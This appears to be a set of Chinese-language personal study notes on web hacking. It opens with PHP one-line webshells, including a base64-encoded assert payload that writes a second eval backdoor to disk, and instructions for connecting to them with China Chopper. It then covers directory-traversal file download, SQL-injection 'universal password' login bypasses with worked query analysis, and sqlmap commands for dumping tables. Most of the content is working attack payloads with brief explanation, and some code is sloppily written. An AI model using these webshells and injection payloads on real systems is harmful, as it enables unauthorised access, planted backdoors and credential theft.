一句话木马代码分析
<?php $_GET['POST']($_POST['GET'])?>;
故意使用了post和get用来迷惑人
https://127.0.0.1/shy.php?POST=assert 密码:GET
1.php <?php $_GET['a']($_POST['b'])?>;
$_Get()he $_POST函数是用来传参数的值的
<a herf="2.php?id='10'&name='xiaoqiang'">传值</a> 在1.php中单击超链接传值
<?php
echo "$_Get['id']";
echo "$_Post['name']";
?>
<html>
<head>
</head>
<body>
<form action="" method="post">
<input type="text" name="test" /> //接收表单的name为 "mima"的数据
<?php>
echo "$_Post['test']"; //获取文本框中的值,并且在当前页中显示
?>
</body>
</html>
127.0.0.1/1.php?a=eval 菜刀链接 密码为b
使用eval会报错生产木马失败,使用assert也会报错但会生成木马
代码:
$_GET[a]($_GET[b]);
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29
fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))
fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1))
任意文件下载
./ 当前文件夹 ../上一层 ../../../ 上三层(如果没有三层 就回到根目录)
登录框sql注入-万能密码
admin' or 1=1#
admin' or '1'='1
‘or’='or'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
逻辑运算的优先顺序是NOT>OR>AND
Username='1' 假 1=1 真 '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 假
假 or 真 or 假 为真
$query = "SELECT first_name, last_name FROM users WHERE user_id = 'admin'or '1'='1';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' )
输入的参数xx为整型时,通常test.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=xx
所以可以用以下步骤测试SQL注入是否存在。
①HTTP://www.xxx.xxx/text.asp?p=xx’(附加一个单引号)此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’
数据库无法处理,返回异常;
②HTTP://www.xxx.xxx/test.asp?p=xx and 1=1。1=1为真 test.asp运行正常,而且与没加语句之前的test.asp?p=xx运行结果一样正常显示;
③HTTP://www.xxx.xxx/test.asp?p=YY and 1=2,语句为假,因为1≠2 test.asp运行异常;如果以上三步全面满足,test.asp中一定存在SQL注入漏洞。
select id from users where username = '' or 1=1-- and password = '456'
=优先于and优先于or username = '' 假 1=1 真 假or真 为真
$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"
账号密码同时尝试输入:admin' or '1'='1#
00x1 SQL万能密码的构造
在登录框当中可以添加了一个单引号。报错信息如下所示:
据此报错,我们大概的可以猜测其网站的正常是SQL语句如下:
$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"
即使如此,那么来尝试将其闭合。
账号密码同时尝试输入:admin' or '1'='1#
可见成功登陆。那么我们来分析一下原因吧。
当我们账号输入admin' or '1'='1的时候(密码随意填写),到SQL语句里的执行就是
$sql="select username,password from 表明 where username='test' or '1'='1'
最后的那个单引号是系统自动加上去的。所以我们不必画蛇添足。
至于密码部分全部被#消除了。完整的sql语句是:
$sql="select username,password from 表明 where username='admin' or '1'='1# and password='$password' limit 0,1"
如此一来,系统会自动加一个单引号。就变成了如下语句:
$sql="select username,password from 表明 where username='admin' or '1'='1'"
如此一来就成功绕过了登陆进入网站的后台。
sql注入
sqlmap.py -u http://127.0.0.1/1.php?id=1 --level=3
--dbs --tables --columns
-C id,name,passwd --dump